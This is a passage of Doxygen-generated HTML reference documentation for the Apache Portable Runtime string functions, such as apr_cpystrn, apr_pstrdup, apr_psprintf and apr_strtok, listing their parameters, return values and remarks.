<p>Copy up to dst_size characters from src to dst; does not copy past a NUL terminator in src, but always terminates dst with a NUL regardless. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">dst</td><td>The destination string </td></tr> <tr><td class="paramname">src</td><td>The source string </td></tr> <tr><td class="paramname">dst_size</td><td>The space available in dst; dst always receives NUL termination, so if src is longer than dst_size, the actual number of characters copied is dst_size - 1. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>Pointer to the NUL terminator of the destination string, dst </dd></dl> <dl class="section remark"><dt>Remarks</dt><dd><pre> Note the differences between this function and strncpy(): 1) strncpy() doesn't always NUL terminate; <a class="el" href="group__apr__strings.html#ga69700a825e82dd646f9f166599040431">apr_cpystrn()</a> does. 2) strncpy() pads the destination string with NULs, which is often unnecessary; <a class="el" href="group__apr__strings.html#ga69700a825e82dd646f9f166599040431">apr_cpystrn()</a> does not. 3) strncpy() returns a pointer to the beginning of the dst string; <a class="el" href="group__apr__strings.html#ga69700a825e82dd646f9f166599040431">apr_cpystrn()</a> returns a pointer to the NUL terminator of dst, to allow a check for truncation. </pre> </dd></dl> </div> </div> <a class="anchor" id="gae1c780f2d908a286a141e4b885254a9c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_itoa </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>create a string representation of an int, allocated from a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool from which to allocate </td></tr> <tr><td class="paramname">n</td><td>The number to format </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The string representation of the number </dd></dl> </div> </div> <a class="anchor" id="ga578ea3fa78957c6b2e9b8ab4cbfd60b1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_ltoa </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">long </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>create a string representation of a long, allocated from a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool from which to allocate </td></tr> <tr><td class="paramname">n</td><td>The number to format </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The string representation of the number </dd></dl> </div> </div> <a class="anchor" id="gabce9fb74bbad08d795389bfe859053d3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_off_t_toa </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_off_t </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>create a string representation of an apr_off_t, allocated from a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool from which to allocate </td></tr> <tr><td class="paramname">n</td><td>The number to format </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The string representation of the number </dd></dl> </div> </div> <a class="anchor" id="gac3886f14ecf5aed8fe4493087799685c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void* apr_pmemdup </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const void * </td> <td class="paramname"><em>m</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Duplicate a block of memory.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate from </td></tr> <tr><td class="paramname">m</td><td>The memory to duplicate </td></tr> <tr><td class="paramname">n</td><td>The number of bytes to duplicate </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new block of memory or NULL if m == NULL </dd></dl> </div> </div> <a class="anchor" id="ga3eca76b8d293c5c3f8021e45eda813d8"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_psprintf </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>fmt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"> </td> <td class="paramname"><em>...</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>printf-style style printing routine. The data is output to a string allocated from a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">fmt</td><td>The format of the string </td></tr> <tr><td class="paramname">...</td><td>The arguments to use while printing the data </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string </dd></dl> </div> </div> <a class="anchor" id="ga7bd80c95ffb7b3f96bc78e7b5b5b0045"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pstrcat </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"> </td> <td class="paramname"><em>...</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Concatenate multiple strings, allocating memory out a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">...</td><td>The strings to concatenate. The final string must be NULL </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string </dd></dl> </div> </div> <a class="anchor" id="ga15d0853af252a894e288c682b8f84309"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pstrcatv </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const struct iovec * </td> <td class="paramname"><em>vec</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>nvec</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t * </td> <td class="paramname"><em>nbytes</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Concatenate multiple strings specified in a writev-style vector </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool from which to allocate </td></tr> <tr><td class="paramname">vec</td><td>The strings to concatenate </td></tr> <tr><td class="paramname">nvec</td><td>The number of strings to concatenate </td></tr> <tr><td class="paramname">nbytes</td><td>(output) strlen of new string (pass in NULL to omit) </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string </dd></dl> </div> </div> <a class="anchor" id="gabc79e99ff19abbd7cfd18308c5f85d47"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pstrdup </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>s</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>duplicate a string into memory allocated out of a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">s</td><td>The string to duplicate </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string or NULL if s == NULL </dd></dl> </div> </div> <a class="anchor" id="ga0eae1185559578c0f9792413305eca25"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pstrmemdup </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>s</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Create a null-terminated string by making a copy of a sequence of characters and appending a null byte </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">s</td><td>The block of characters to duplicate </td></tr> <tr><td class="paramname">n</td><td>The number of characters to duplicate </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string or NULL if s == NULL </dd></dl> <dl class="section remark"><dt>Remarks</dt><dd>This is a faster alternative to apr_pstrndup, for use when you know that the string being duplicated really has 'n' or more characters. If the string might contain fewer characters, use apr_pstrndup. </dd></dl> </div> </div> <a class="anchor" id="gad17053ffe6604d908ae7cac33543a6b4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pstrndup </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>s</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>n</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Duplicate at most n characters of a string into memory allocated out of a pool; the new string will be NUL-terminated </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">s</td><td>The string to duplicate </td></tr> <tr><td class="paramname">n</td><td>The maximum number of characters to duplicate </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string or NULL if s == NULL </dd></dl> <dl class="section remark"><dt>Remarks</dt><dd>The amount of memory allocated from the pool is the length of the returned string including the NUL terminator </dd></dl> </div> </div> <a class="anchor" id="ga05248544edebc71070140d2ce5969c10"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_pvsprintf </td> <td>(</td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>p</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>fmt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">va_list </td> <td class="paramname"><em>ap</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>printf-style style printing routine. The data is output to a string allocated from a pool </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">p</td><td>The pool to allocate out of </td></tr> <tr><td class="paramname">fmt</td><td>The format of the string </td></tr> <tr><td class="paramname">ap</td><td>The arguments to use while printing the data </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The new string </dd></dl> </div> </div> <a class="anchor" id="gaf66522fda6d2dfa540fdc58831405980"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_strfsize </td> <td>(</td> <td class="paramtype">apr_off_t </td> <td class="paramname"><em>size</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char * </td> <td class="paramname"><em>buf</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Format a binary size (magnitiudes are 2^10 rather than 10^3) from an apr_off_t, as bytes, K, M, T, etc, to a four character compacted human readable string. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">size</td><td>The size to format </td></tr> <tr><td class="paramname">buf</td><td>The 5 byte text buffer (counting the trailing null) </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The buf passed to <a class="el" href="group__apr__strings.html#gaf66522fda6d2dfa540fdc58831405980">apr_strfsize()</a> </dd></dl> <dl class="section remark"><dt>Remarks</dt><dd>All negative sizes report ' - ', apr_strfsize only formats positive values. </dd></dl> </div> </div> <a class="anchor" id="ga1708d51c4989934fec663b23366430f3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int apr_strnatcasecmp </td> <td>(</td> <td class="paramtype">char const * </td> <td class="paramname"><em>a</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char const * </td> <td class="paramname"><em>b</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Do a natural order comparison of two strings ignoring the case of the strings. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">a</td><td>The first string to compare </td></tr> <tr><td class="paramname">b</td><td>The second string to compare </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>Either <0, 0, or >0. If the first string is less than the second this returns <0, if they are equivalent it returns 0, and if the first string is greater than second string it retuns >0. </dd></dl> </div> </div> <a class="anchor" id="gabe7e226c26e1535d787a7836b9c8d0a1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int apr_strnatcmp </td> <td>(</td> <td class="paramtype">char const * </td> <td class="paramname"><em>a</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char const * </td> <td class="paramname"><em>b</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Do a natural order comparison of two strings. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">a</td><td>The first string to compare </td></tr> <tr><td class="paramname">b</td><td>The second string to compare </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>Either <0, 0, or >0. If the first string is less than the second this returns <0, if they are equivalent it returns 0, and if the first string is greater than second string it retuns >0. </dd></dl> </div> </div> <a class="anchor" id="ga1583688e0777398174f62e46a522ae8f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> apr_strtoff </td> <td>(</td> <td class="paramtype">apr_off_t * </td> <td class="paramname"><em>offset</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>buf</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char ** </td> <td class="paramname"><em>end</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int </td> <td class="paramname"><em>base</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Convert a numeric string into an apr_off_t numeric value. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">offset</td><td>The value of the parsed string. </td></tr> <tr><td class="paramname">buf</td><td>The string to parse. It may contain optional whitespace, followed by an optional '+' (positive, default) or '-' (negative) character, followed by an optional '0x' prefix if base is 0 or 16, followed by numeric digits appropriate for base. </td></tr> <tr><td class="paramname">end</td><td>A pointer to the end of the valid character in buf. If not NULL, it is set to the first invalid character in buf. </td></tr> <tr><td class="paramname">base</td><td>A numeric base in the range between 2 and 36 inclusive, or 0. If base is zero, buf will be treated as base ten unless its digits are prefixed with '0x', in which case it will be treated as base 16. </td></tr> </table> </dd> </dl> <dl class="bug"><dt><b><a class="el" href="bug.html#_bug000005">Bug:</a></b></dt><dd>*end breaks type safety; where *buf is const, *end needs to be declared as const in APR 2.0 </dd></dl> </div> </div> <a class="anchor" id="ga1da34829609e8976f498b235afd6cbe4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">apr_int64_t apr_strtoi64 </td> <td>(</td> <td class="paramtype">const char * </td> <td class="paramname"><em>buf</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char ** </td> <td class="paramname"><em>end</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int </td> <td class="paramname"><em>base</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>parse a numeric string into a 64-bit numeric value </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">buf</td><td>The string to parse. It may contain optional whitespace, followed by an optional '+' (positive, default) or '-' (negative) character, followed by an optional '0x' prefix if base is 0 or 16, followed by numeric digits appropriate for base. </td></tr> <tr><td class="paramname">end</td><td>A pointer to the end of the valid character in buf. If not NULL, it is set to the first invalid character in buf. </td></tr> <tr><td class="paramname">base</td><td>A numeric base in the range between 2 and 36 inclusive, or 0. If base is zero, buf will be treated as base ten unless its digits are prefixed with '0x', in which case it will be treated as base 16. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The numeric value of the string. On overflow, errno is set to ERANGE. On success, errno is set to 0. </dd></dl> </div> </div> <a class="anchor" id="ga1cf7fcb5843707ece733e27aad85c516"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_strtok </td> <td>(</td> <td class="paramtype">char * </td> <td class="paramname"><em>str</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>sep</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char ** </td> <td class="paramname"><em>last</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Split a string into separate null-terminated tokens. The tokens are delimited in the string by one or more characters from the sep argument. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">str</td><td>The string to separate; this should be specified on the first call to <a class="el" href="group__apr__strings.html#ga1cf7fcb5843707ece733e27aad85c516">apr_strtok()</a> for a given string, and NULL on subsequent calls. </td></tr> <tr><td class="paramname">sep</td><td>The set of delimiters </td></tr> <tr><td class="paramname">last</td><td>State saved by <a class="el" href="group__apr__strings.html#ga1cf7fcb5843707ece733e27aad85c516">apr_strtok()</a> between calls. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The next token from the string </dd></dl> <dl class="section note"><dt>Note</dt><dd>the 'last' state points to the trailing NUL char of the final token, otherwise it points to the character following the current token (all successive or empty occurances of sep are skiped on the subsequent call to apr_strtok). Therefore it is possible to avoid a strlen() determination, with the following logic; toklen = last - retval; if (*last) –toklen; </dd></dl> </div> </div> <a class="anchor" id="ga5213cee7e8ba799df9dc2e57f71cd4dd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> apr_tokenize_to_argv </td> <td>(</td> <td class="paramtype">const char * </td> <td class="paramname"><em>arg_str</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char *** </td> <td class="paramname"><em>argv_out</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * </td> <td class="paramname"><em>token_context</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Convert the arguments to a program from one string to an array of strings terminated by a NULL pointer </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">arg_str</td><td>The arguments to convert </td></tr> <tr><td class="paramname">argv_out</td><td>Output location. This is a pointer to an array of strings. </td></tr> <tr><td class="paramname">token_context</td><td>Pool to use. </td></tr> </table> </dd> </dl> </div> </div> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.5 </small></address> </body> </html>
Close